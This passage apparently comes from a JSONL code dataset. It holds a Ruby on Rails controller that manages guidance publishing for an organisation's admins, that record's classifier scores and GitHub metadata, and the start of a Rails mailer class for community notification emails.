to be RESTful and move it either\n # into the `org_admin` namespace or a new `admin` namespace.\n #\n # Publish and Unpublish actions should be consolidated with :update\n # after conversion to RESTful actions\n\n # GET /org/admin/guidance/:id/admin_index\n def admin_index\n authorize Guidance\n @guidances = Guidance.by_org(current_user.org)\n .includes(:guidance_group, :themes).page(1)\n ensure_default_group(current_user.org)\n @guidance_groups = GuidanceGroup.by_org(current_user.org).page(1)\n end\n\n # GET /org/admin/guidance/:id/admin_new\n def admin_new\n @guidance = Guidance.new\n authorize @guidance\n render :new_edit\n end\n\n # GET /org/admin/guidance/:id/admin_edit\n def admin_edit\n @guidance = Guidance.eager_load(:themes, :guidance_group)\n .find(params[:id])\n authorize @guidance\n render :new_edit\n end\n\n # POST /org/admin/guidance/:id/admin_create\n def admin_create\n @guidance = Guidance.new(guidance_params)\n authorize @guidance\n\n if @guidance.save\n if @guidance.published?\n guidance_group = GuidanceGroup.find(@guidance.guidance_group_id)\n if !guidance_group.published? || guidance_group.published.nil?\n guidance_group.published = true\n guidance_group.save\n end\n end\n flash.now[:notice] = success_message(@guidance, _(\"created\"))\n else\n flash.now[:alert] = failure_message(@guidance, _(\"create\"))\n end\n render :new_edit\n end\n\n # PUT /org/admin/guidance/:id/admin_update\n def admin_update\n @guidance = Guidance.find(params[:id])\n authorize @guidance\n\n if @guidance.update_attributes(guidance_params)\n if @guidance.published?\n guidance_group = GuidanceGroup.find(@guidance.guidance_group_id)\n if !guidance_group.published? || guidance_group.published.nil?\n guidance_group.published = true\n guidance_group.save\n end\n end\n flash.now[:notice] = success_message(@guidance, _(\"saved\"))\n else\n flash.now[:alert] = failure_message(@guidance, _(\"save\"))\n end\n render :new_edit\n end\n\n # DELETE /org/admin/guidance/:id/admin_destroy\n def admin_destroy\n @guidance = Guidance.find(params[:id])\n authorize @guidance\n guidance_group = GuidanceGroup.find(@guidance.guidance_group_id)\n if @guidance.destroy\n unless guidance_group.guidances.where(published: true).exists?\n guidance_group.published = false\n guidance_group.save\n end\n flash[:notice] = success_message(@guidance, _(\"deleted\"))\n else\n flash[:alert] = failure_message(@guidance, _(\"delete\"))\n end\n redirect_to(action: :admin_index)\n end\n\n # PUT /org/admin/guidance/:id/admin_publish\n def admin_publish\n @guidance = Guidance.find(params[:id])\n authorize @guidance\n if @guidance.update_attributes(published: true)\n guidance_group = GuidanceGroup.find(@guidance.guidance_group_id)\n if !guidance_group.published? || guidance_group.published.nil?\n guidance_group.update(published: true)\n end\n flash[:notice] = _(\"Your guidance has been published and is now available to users.\")\n\n else\n flash[:alert] = failure_message(@guidance, _(\"publish\"))\n end\n redirect_to(action: :admin_index)\n end\n\n # PUT /org/admin/guidance/:id/admin_unpublish\n def admin_unpublish\n @guidance = Guidance.find(params[:id])\n authorize @guidance\n if @guidance.update_attributes(published: false)\n guidance_group = GuidanceGroup.find(@guidance.guidance_group_id)\n unless guidance_group.guidances.where(published: true).exists?\n guidance_group.update(published: false)\n end\n flash[:notice] = _(\"Your guidance is no longer published and will not be available to users.\")\n\n else\n flash[:alert] = failure_message(@guidance, _(\"unpublish\"))\n end\n redirect_to(action: :admin_index)\n end\n\n private\n\n def guidance_params\n params.require(:guidance).permit(:guidance_group_id, :text, :published, theme_ids: [])\n end\n\n def ensure_default_group(org)\n return unless org.managed?\n return if org.guidance_groups.where(optional_subset: false).present?\n\n GuidanceGroup.create_org_default(org)\n end\n\nend\n", "text_preview": "# frozen_string_literal: true class GuidancesController < ApplicationController after_action :verify_authorized respond_to :html # TODO: We should really update this to be RESTful and move it either # into the `org_admin` namespace or a new", "input_sha256": "fcfd79ad7833758076a6438d5bc9c72794199144768827672d66cf4fec74b282", "text_sha256": "f74536c276b66cd9c9aef0433b06100d265a41a43aa3da38c741ea31af7cb68f", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16059, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9223428290298095, "noise_severity": 0.03413898383866975, "missing_content_severity": 0.0060098164293485405, "factual_density": 3.3054060125761726, "pretraining_utility": 0.410249676303066, "math_density": 0.0017549661354406111, "code_density": 3.8308463034261537, "reasoning_density": 0.40567977184379383, "education_level": 2.386038795859426, "creative_writing_quality": -0.14485532105132537}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.003326655650868861, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.99683891845446, "secondary": 0.9880851715478729, "tertiary": 0.9893840994231534, "structured_records": 0.008707547575340096, "procedural_steps": 0.0029375566880491606, "worked_solution": 0.000758298900634878, "contextual_dialogue": 5.356693001796105e-06, "content_quality": 0.5614854259807439, "noise_severity": 0.9715508468011085, "missing_content_severity": 0.9949918196422095, "factual_density": 0.42117167714681025, "pretraining_utility": 0.4595834658065048, "math_density": 0.9985375282204662, "code_density": 0.8590385861884615, "reasoning_density": 0.661933523463505, "education_level": 0.5498366314785014, "creative_writing_quality": 0.9992913978149925, "primary_topic": 0.9906841707592003, "secondary_topic": 0.9667410572989475}, "probability_margin": {"primary": 0.9948931148843352, "secondary": 0.9803560038811818, "tertiary": 0.9849274654125278, "education_level": 0.2885088576575472, "creative_writing_quality": 0.9990611597100142, "primary_topic": 0.9868534195021453, "secondary_topic": 0.9578405452790639}, "raw_probabilities": {"primary": {"Academic Writing": 3.634754737363835e-05, "Content Listing": 3.06051496089385e-05, "Creative Writing": 1.4533965447679114e-05, "Customer Support Page": 1.2582777801545302e-05, "Q&A Forum": 1.1222177277921283e-05, "Discussion Thread": 8.0264371655601e-06, "Comment Section": 1.7405300083143915e-05, "Missing Content": 2.3830848233449087e-05, "Knowledge Article": 8.712499071958093e-05, "Legal Notices": 3.0621425880296595e-05, "News Article": 4.065100059246766e-06, "Organizational Announcement": 1.4142644600926165e-05, "Nonfiction Writing": 1.1049394757993291e-05, "Organizational About Page": 1.2442352765343914e-05, "Personal About Page": 8.582722249829895e-06, "Personal Blog": 6.958113994530488e-06, "Product Page": 6.514798762507834e-06, "Spam / Ads": 9.154008483153678e-06, "Structured Data": 0.0003709065906383537, "Technical Writing": 0.9969706301855242, "Transcript / Interview": 1.1831681479630731e-05, "Tutorial / How-To Guide": 0.0002182559012024057, "User Reviews": 5.650584700916805e-06, "Other / Unknown": 0.0020775153011889937}, "secondary": {"Academic Writing": 9.155405045792851e-05, "Content Listing": 9.411387478519023e-05, "Creative Writing": 6.259140934259821e-05, "Customer Support Page": 5.347267020313505e-05, "Q&A Forum": 3.475245041848098e-05, "Discussion Thread": 3.529583385187594e-05, "Comment Section": 0.00034297966740538935, "Missing Content": 0.0002097964735698862, "Knowledge Article": 0.0004112585722838947, "Legal Notices": 0.00011180248853630131, "News Article": 3.947585058042045e-05, "Organizational Announcement": 7.478041421335345e-05, "Nonfiction Writing": 4.514166955485192e-05, "Organizational About Page": 5.1934806229217394e-05, "Personal About Page": 3.517773124764068e-05, "Personal Blog": 3.086974429974585e-05, "Product Page": 2.2669722360820336e-05, "Spam / Ads": 4.135623386619769e-05, "Structured Data": 0.0009550446744514079, "Technical Writing": 0.008225618852196383, "Transcript / Interview": 4.2319328193708144e-05, "Tutorial / How-To Guide": 0.0003879653102786905, "User Reviews": 1.84054382946983e-05, "NONE": 0.9885816227333782}, "tertiary": {"Academic Writing": 8.925976509839013e-05, "Content Listing": 0.00014560359043068843, "Creative Writing": 7.897346578576333e-05, "Customer Support Page": 7.505495064555485e-05, "Q&A Forum": 4.104267541354294e-05, "Discussion Thread": 7.923716854081227e-05, "Comment Section": 0.0013596095621482593, "Missing Content": 0.0004392304691490412, "Knowledge Article": 0.0005273289540059712, "Legal Notices": 0.00020795221380357062, "News Article": 5.232384541067757e-05, "Organizational Announcement": 0.00019241975749114128, "Nonfiction Writing": 0.00011749339538971172, "Organizational About Page": 7.513544742941785e-05, "Personal About Page": 3.5838672861547083e-05, "Personal Blog": 4.84051470509405e-05, "Product Page": 3.0217765246866202e-05, "Spam / Ads": 6.47191849206608e-05, "Structured Data": 0.0007374634688686547, "Technical Writing": 0.0048989632013275225, "Transcript / Interview": 4.508322421316795e-05, "Tutorial / How-To Guide": 0.0008053031240411722, "User Reviews": 2.691233687158886e-05, "NONE": 0.9898264286138554}, "structured_records": {"false": 0.9912924524246599, "true": 0.008707547575340096}, "procedural_steps": {"false": 0.9970624433119508, "true": 0.0029375566880491606}, "worked_solution": {"false": 0.9992417010993652, "true": 0.000758298900634878}, "contextual_dialogue": {"false": 0.9999946433069982, "true": 5.356693001796105e-06}, "content_quality": {"-2": 0.003976160113050798, "-1": 0.0222092632887484, "0": 0.24559032297999966, "1": 0.5039440946917427, "2": 0.2242801589264584}, "noise_severity": {"0": 0.9689023374685211, "1": 0.02907587143846875, "2": 0.0013100860532434565, "3": 0.0004038798653538843, "4": 0.00030782517441311005}, "missing_content_severity": {"0": 0.9962590147929973, "1": 0.0020920056790391735, "2": 0.0011384216748416157, "3": 0.00040126401186161886, "4": 0.00010929384126031985}, "factual_density": {"0": 0.005130906775924005, "1": 0.011347526462308277, "2": 0.11380174507899637, "3": 0.41242429077521403, "4": 0.4572955309075574}, "pretraining_utility": {"-2": 0.009534982659422297, "-1": 0.10005511704571952, "0": 0.42085586787512297, "1": 0.40973330617184045, "2": 0.05982072624789489}, "math_density": {"0": 0.9990784516335169, "1": 0.0005783002252792325, "2": 6.880494356014474e-05, "3": 5.87167675337358e-05, "4": 0.00021572643010997047}, "code_density": {"0": 0.00025928251481814753, "1": 0.0004977699539121239, "2": 0.017708955104509955, "3": 0.13120534644381732, "4": 0.8503286459829424}, "reasoning_density": {"0": 0.7633129612421272, "1": 0.10532839289553567, "2": 0.09930628783814924, "3": 0.02647062882479217, "4": 0.005581729199395823}, "education_level": {"none": 0.0009914351693237609, "0": 0.0012084253228062615, "1": 0.007148214636977876, "2": 0.6248638595654178, "3": 0.3363550019078706, "4": 0.029433063397603685}, "creative_writing_quality": {"not_applicable": 0.9994094981791605, "-2": 5.0385042580072124e-05, "-1": 0.00010102897935963047, "0": 0.0003483384691462279, "1": 6.523692582672763e-05, "2": 2.5512403926965588e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.4672700113510748e-05, "Art & Design": 4.609095783439359e-05, "Law & Crime": 7.025770087914928e-05, "Education & Careers": 0.0016685686477677757, "Entertainment & Media": 2.7644672957294167e-05, "Fashion & Beauty": 2.9981577346012137e-05, "Business, Economics & Finance": 0.0006024427907143327, "Food & Dining": 4.246262011241312e-05, "Games & Gaming": 5.1509614707525425e-05, "Electronics & Hardware": 6.656501121391802e-05, "Health, Healthcare & Wellness": 0.00033600101827345176, "History & Geography": 2.941557806554501e-05, "Home, Pets & Hobbies": 3.5569912951607194e-05, "Industry & Production": 3.2400598925167424e-05, "Language, Literature & Philosophy": 5.120238354667381e-05, "Politics & Government": 0.00012672596822621977, "Religion & Spirituality": 6.050628704231997e-05, "Science, Mathematics & Engineering": 0.00010914240455555245, "Relationships & Community": 0.000126419186411859, "Software Usage & Applications": 0.0007953469907087156, "Programming & Software Engineering": 0.9910424718838465, "Sports & Fitness": 4.234300319033318e-05, "Vehicles & Transportation": 1.8123613124698198e-05, "Travel & Tourism": 6.718536710641749e-05, "Other / Uncovered Subject": 0.004189052381701207, "Unknown / Insufficient Content": 0.0003078971286774004}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0002252896068280458, "Art & Design": 0.00027401196179731475, "Law & Crime": 0.0003529677115913439, "Education & Careers": 0.0036373773246631607, "Entertainment & Media": 0.000191936880354913, "Fashion & Beauty": 0.00010566056873877056, "Business, Economics & Finance": 0.0016290986706060295, "Food & Dining": 0.00010389619443088576, "Games & Gaming": 0.00016988221045687588, "Electronics & Hardware": 0.0002704322342263267, "Health, Healthcare & Wellness": 0.00037860613457474265, "History & Geography": 0.00010430104217714432, "Home, Pets & Hobbies": 0.00010421205520298819, "Industry & Production": 9.046000254723258e-05, "Language, Literature & Philosophy": 0.00012783789656911992, "Politics & Government": 0.00026370189305610945, "Religion & Spirituality": 0.00018587838117824337, "Science, Mathematics & Engineering": 0.0002831475513220218, "Relationships & Community": 0.00015967002375209322, "Software Usage & Applications": 0.0031170643491608735, "Programming & Software Engineering": 0.01017970212377029, "Sports & Fitness": 9.730673142308562e-05, "Vehicles & Transportation": 5.3633691411243586e-05, "Travel & Tourism": 0.0001582107230477448, "Other / Uncovered Subject": 0.009715466634279232, "NONE": 0.9680202474028342}}, "probabilities": {"primary": {"Academic Writing": 3.6347547373638355e-05, "Content Listing": 3.060514960893851e-05, "Creative Writing": 1.4533965447679118e-05, "Customer Support Page": 1.2582777801545306e-05, "Q&A Forum": 1.1222177277921284e-05, "Discussion Thread": 8.026437165560102e-06, "Comment Section": 1.7405300083143918e-05, "Missing Content": 2.3830848233449094e-05, "Knowledge Article": 8.712499071958095e-05, "Legal Notices": 3.06214258802966e-05, "News Article": 4.065100059246767e-06, "Organizational Announcement": 1.4142644600926169e-05, "Nonfiction Writing": 1.1049394757993293e-05, "Organizational About Page": 1.2442352765343918e-05, "Personal About Page": 8.582722249829896e-06, "Personal Blog": 6.95811399453049e-06, "Product Page": 6.5147987625078355e-06, "Spam / Ads": 9.15400848315368e-06, "Structured Data": 0.0003709065906383538, "Technical Writing": 0.9969706301855245, "Transcript / Interview": 1.1831681479630735e-05, "Tutorial / How-To Guide": 0.00021825590120240574, "User Reviews": 5.650584700916806e-06, "Other / Unknown": 0.002077515301188994}, "secondary": {"Academic Writing": 9.155405045792851e-05, "Content Listing": 9.411387478519023e-05, "Creative Writing": 6.259140934259821e-05, "Customer Support Page": 5.347267020313505e-05, "Q&A Forum": 3.475245041848098e-05, "Discussion Thread": 3.529583385187594e-05, "Comment Section": 0.00034297966740538935, "Missing Content": 0.0002097964735698862, "Knowledge Article": 0.0004112585722838947, "Legal Notices": 0.00011180248853630131, "News Article": 3.947585058042045e-05, "Organizational Announcement": 7.478041421335345e-05, "Nonfiction Writing": 4.514166955485192e-05, "Organizational About Page": 5.1934806229217394e-05, "Personal About Page": 3.517773124764068e-05, "Personal Blog": 3.086974429974585e-05, "Product Page": 2.2669722360820336e-05, "Spam / Ads": 4.135623386619769e-05, "Structured Data": 0.0009550446744514079, "Technical Writing": 0.008225618852196383, "Transcript / Interview": 4.2319328193708144e-05, "Tutorial / How-To Guide": 0.0003879653102786905, "User Reviews": 1.84054382946983e-05, "NONE": 0.9885816227333782}, "tertiary": {"Academic Writing": 8.925976509839013e-05, "Content Listing": 0.00014560359043068843, "Creative Writing": 7.897346578576333e-05, "Customer Support Page": 7.505495064555485e-05, "Q&A Forum": 4.104267541354294e-05, "Discussion Thread": 7.923716854081227e-05, "Comment Section": 0.0013596095621482593, "Missing Content": 0.0004392304691490412, "Knowledge Article": 0.0005273289540059712, "Legal Notices": 0.00020795221380357062, "News Article": 5.232384541067757e-05, "Organizational Announcement": 0.00019241975749114128, "Nonfiction Writing": 0.00011749339538971172, "Organizational About Page": 7.513544742941785e-05, "Personal About Page": 3.5838672861547083e-05, "Personal Blog": 4.84051470509405e-05, "Product Page": 3.0217765246866202e-05, "Spam / Ads": 6.47191849206608e-05, "Structured Data": 0.0007374634688686547, "Technical Writing": 0.0048989632013275225, "Transcript / Interview": 4.508322421316795e-05, "Tutorial / How-To Guide": 0.0008053031240411722, "User Reviews": 2.691233687158886e-05, "NONE": 0.9898264286138554}, "structured_records": {"false": 0.9912924524246599, "true": 0.008707547575340096}, "procedural_steps": {"false": 0.9970624433119508, "true": 0.0029375566880491606}, "worked_solution": {"false": 0.9992417010993652, "true": 0.000758298900634878}, "contextual_dialogue": {"false": 0.9999946433069982, "true": 5.356693001796105e-06}, "content_quality": {"-2": 0.003976160113050798, "-1": 0.0222092632887484, "0": 0.24559032297999966, "1": 0.5039440946917427, "2": 0.2242801589264584}, "noise_severity": {"0": 0.9689023374685208, "1": 0.029075871438468744, "2": 0.0013100860532434563, "3": 0.0004038798653538842, "4": 0.00030782517441311}, "missing_content_severity": {"0": 0.9962590147929973, "1": 0.0020920056790391735, "2": 0.0011384216748416157, "3": 0.00040126401186161886, "4": 0.00010929384126031985}, "factual_density": {"0": 0.005130906775924005, "1": 0.011347526462308277, "2": 0.11380174507899637, "3": 0.41242429077521403, "4": 0.4572955309075574}, "pretraining_utility": {"-2": 0.009534982659422295, "-1": 0.1000551170457195, "0": 0.42085586787512286, "1": 0.40973330617184034, "2": 0.059820726247894876}, "math_density": {"0": 0.9990784516335169, "1": 0.0005783002252792325, "2": 6.880494356014474e-05, "3": 5.87167675337358e-05, "4": 0.00021572643010997047}, "code_density": {"0": 0.00025928251481814753, "1": 0.0004977699539121239, "2": 0.017708955104509955, "3": 0.13120534644381732, "4": 0.8503286459829424}, "reasoning_density": {"0": 0.763312961242127, "1": 0.10532839289553564, "2": 0.09930628783814921, "3": 0.026470628824792165, "4": 0.0055817291993958225}, "education_level": {"none": 0.0009914351693237609, "0": 0.0012084253228062615, "1": 0.007148214636977876, "2": 0.6248638595654178, "3": 0.3363550019078706, "4": 0.029433063397603685}, "creative_writing_quality": {"not_applicable": 0.9994094981791605, "-2": 5.0385042580072124e-05, "-1": 0.00010102897935963047, "0": 0.0003483384691462279, "1": 6.523692582672763e-05, "2": 2.5512403926965588e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.4672700113510748e-05, "Art & Design": 4.609095783439359e-05, "Law & Crime": 7.025770087914928e-05, "Education & Careers": 0.0016685686477677757, "Entertainment & Media": 2.7644672957294167e-05, "Fashion & Beauty": 2.9981577346012137e-05, "Business, Economics & Finance": 0.0006024427907143327, "Food & Dining": 4.246262011241312e-05, "Games & Gaming": 5.1509614707525425e-05, "Electronics & Hardware": 6.656501121391802e-05, "Health, Healthcare & Wellness": 0.00033600101827345176, "History & Geography": 2.941557806554501e-05, "Home, Pets & Hobbies": 3.5569912951607194e-05, "Industry & Production": 3.2400598925167424e-05, "Language, Literature & Philosophy": 5.120238354667381e-05, "Politics & Government": 0.00012672596822621977, "Religion & Spirituality": 6.050628704231997e-05, "Science, Mathematics & Engineering": 0.00010914240455555245, "Relationships & Community": 0.000126419186411859, "Software Usage & Applications": 0.0007953469907087156, "Programming & Software Engineering": 0.9910424718838465, "Sports & Fitness": 4.234300319033318e-05, "Vehicles & Transportation": 1.8123613124698198e-05, "Travel & Tourism": 6.718536710641749e-05, "Other / Uncovered Subject": 0.004189052381701207, "Unknown / Insufficient Content": 0.0003078971286774004}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0002252896068280458, "Art & Design": 0.00027401196179731475, "Law & Crime": 0.0003529677115913439, "Education & Careers": 0.0036373773246631607, "Entertainment & Media": 0.000191936880354913, "Fashion & Beauty": 0.00010566056873877056, "Business, Economics & Finance": 0.0016290986706060295, "Food & Dining": 0.00010389619443088576, "Games & Gaming": 0.00016988221045687588, "Electronics & Hardware": 0.0002704322342263267, "Health, Healthcare & Wellness": 0.00037860613457474265, "History & Geography": 0.00010430104217714432, "Home, Pets & Hobbies": 0.00010421205520298819, "Industry & Production": 9.046000254723258e-05, "Language, Literature & Philosophy": 0.00012783789656911992, "Politics & Government": 0.00026370189305610945, "Religion & Spirituality": 0.00018587838117824337, "Science, Mathematics & Engineering": 0.0002831475513220218, "Relationships & Community": 0.00015967002375209322, "Software Usage & Applications": 0.0031170643491608735, "Programming & Software Engineering": 0.01017970212377029, "Sports & Fitness": 9.730673142308562e-05, "Vehicles & Transportation": 5.3633691411243586e-05, "Travel & Tourism": 0.0001582107230477448, "Other / Uncovered Subject": 0.009715466634279232, "NONE": 0.9680202474028342}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9611, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9611, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:33:07.222901+00:00", "scoring_key_slot": "primary", "dataset_uid": "490d7452-dc96-4859-83f0-eb7934329b54", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "1232ee8b542417677160d1f6d31e7b97b59e588b757ebe63656f9c1c9a7bfcfe", "source_metadata": {"uuid": "490d7452-dc96-4859-83f0-eb7934329b54", "repo_name": "DigitalCurationCentre/roadmap", "relative_path": "app/controllers/guidances_controller.rb", "category": "WEB", "algo_rel_score": 0.8749186396598816, "quality_score": 5.901593208312988, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 5581, "repo_created_at": "2016-06-15T15:16:39.000Z", "is_fork": true, "is_org_owned": true, "forked_from": "DMPRoadmap/roadmap", "stars": 2, "forks": 2, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "15c2875c4d20d45682ace34590a48082a31b7606", "size_bytes": 4421, "file_timestamp": 1629449704, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "826609a02d2ca7387c7e79e12a418bda8498af35"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 5581, "repo_created_at": "2016-06-15T15:16:39.000Z", "is_fork": true, "is_org_owned": true, "forked_from": "DMPRoadmap/roadmap", "stars": 2, "forks": 2, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "15c2875c4d20d45682ace34590a48082a31b7606", "size_bytes": 4421, "file_timestamp": 1629449704, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "826609a02d2ca7387c7e79e12a418bda8498af35", "url": "https://github.com/DigitalCurationCentre/roadmap/blob/826609a02d2ca7387c7e79e12a418bda8498af35/app/controllers/guidances_controller.rb"}, "gpt4o_tokens": 1075, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9223428290298095, "noise_severity": 0.03413898383866975, "missing_content_severity": 0.0060098164293485405, "factual_density": 3.3054060125761726, "pretraining_utility": 0.4102496763030661, "math_density": 0.0017549661354406111, "code_density": 3.8308463034261537, "reasoning_density": 0.40567977184379395, "education_level": 2.386038795859426, "creative_writing_quality": -0.14485532105132537}, "score_applicability": {"education_level": 0.9990085648306762, "creative_writing_quality": 0.0005905018208396237}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/bborn/communityengine/blob/438659f2926e69e90861de6b4fda02aea793d6d6/app/models/user_notifier.rb", "id": "ruby-0-aa658e8d5a1a2a4bf51cfab6cdc9c80b", "text": "class UserNotifier < ActionMailer::Base\n include ActionView::Helpers::TextHelper\n include ActionView::Helpers::SanitizeHelper\n extend ActionView::Helpers::SanitizeHelper::ClassMethods # Required for rails 2.2\n include BaseHelper\n \n default_url_options[:host] = configatron.app_host\n default :from => \"#{:the_team.l(:site => configatron.community_name, :email => configatron.support_email)}\"\n\n def signup_invitation(email, user, message)\n\n @recipients = \"#{email}\"\n @subject = \"#{:would_like_you_to_join.l(:user => user.login, :site => configatron.community_name)}\"\n @sent_on = Time.now\n @user = user\n @url = signup_by_id_url(user, user.invite_code)\n @message = message\n\n mail(:to => @recipients, :subject => @subject) \n end\n\n def friendship_request(friendship)\n setup_email(friendship.friend)\n @subject += \"#{:would_like_to_be_friends_with_you_on.l(:user => friendship.user.login, :site => configatron.community_name)}\"\n @url = pending_user_friendships_url(friendship.friend)\n @requester = friendship.user\n mail(:to => @recipients, :subject => @subject) \n end\n \n def friendship_accepted(friendship)\n setup_email(friendship.user) \n @subject += \"#{:friendship_request_accepted.l}\"\n @requester = friendship.user\n @friend = friendship.friend\n @url = user_url(friendship.friend)\n mail(:to => @recipients, :subject => @subject) \n end\n\n def comment_notice(comment)\n setup_email(comment.recipient)\n @subject += \"#{:has_something_to_say_to_you_on.l(:user => comment.username, :site => configatron.community_name)}\"\n @url = commentable_url(comment)\n @comment = comment\n @commenter = comment.user\n mail(:to => @recipients, :subject => @subject) \n end\n \n def follow_up_comment_notice(user, comment)\n setup_email(user)\n @subject += \"#{:has_commented_on_something_that_you_also_commented_on.l(:user => comment.username, :item => comment.commentable_type)}\"\n @url = commentable_url(comment)\n @comment = comment\n @commenter = comment.user\n mail(:to => @recipients, :subject => @subject) \n end \n\n def follow_up_comment_notice_anonymous(email, comment)\n @recipients = \"#{email}\"\n\n @subject = \"[#{configatron.community_name}] \"\n @sent_on = Time.now\n @subject += \"#{:has_commented_on_something_that_you_also_commented_on.l(:user => comment.username, :item => comment.commentable_type)}\"\n @url = commentable_url(comment)\n @comment = comment\n\n @unsubscribe_link = url_for(:controller => 'comments', :action => 'unsubscribe', :commentable_type => comment.commentable_type, :commentable_id => comment.commentable_id, :id => comment.id, :token => comment.token_for(email), :email => email)\n mail(:to => @recipients, :subject => @subject) \n end\n\n def new_forum_post_notice(user, post)\n setup_email(user)\n @subject += \"#{:has_posted_in_a_thread_you_are_monitoring.l(:user => post.username)}\"\n @url = \"#{forum_topic_url(:forum_id => post.topic.forum, :id => post.topic, :page => post.topic.last_page)}##{post.dom_id}\"\n @post = post\n @author = post.username\n mail(:to => @recipients, :subject => @subject) \n end\n\n def signup_notification(user)\n setup_email(user) \n @subject += \"#{:please_activate_your_new_account.l(:site => configatron.community_name)}\"\n @url = \"#{home_url}users/#{user.activation_code}/activate\"\n mail(:to => @recipients, :subject => @subject)\n end\n \n def message_notification(message)\n setup_email(message.recipient)\n @subject += \"#{:sent_you_a_private_message.l(:user => message.sender.login)}\"\n @message = message\n mail(:to => @recipients, :subject => @subject) \n end\n\n\n def post_recommendation(name, email, post, message = nil, current_user = nil)\n @recipients = \"#{email}\"\n @sent_on = Time.now\n\n @subject = \"#{:check_out_this_story_on.l(:site => configatron.community_name)}\"\n @name = name \n @title = post.title\n @post = post\n @signup_link = (current_user ? signup_by_id_url(current_user, current_user.invite_code) : signup_url )\n @message = message\n @url = user_post_url(post.user, post)\n @description = truncate_words(post.post, 100, @url ) \n mail(:to => @recipients, :subject => @subject) \n end\n \n def activation(user)\n setup_email(user)\n @subject += \"#{:your_account_has_been_activated.l(:site => configatron.community_name)}\"\n @url = home_url\n mail(:to => 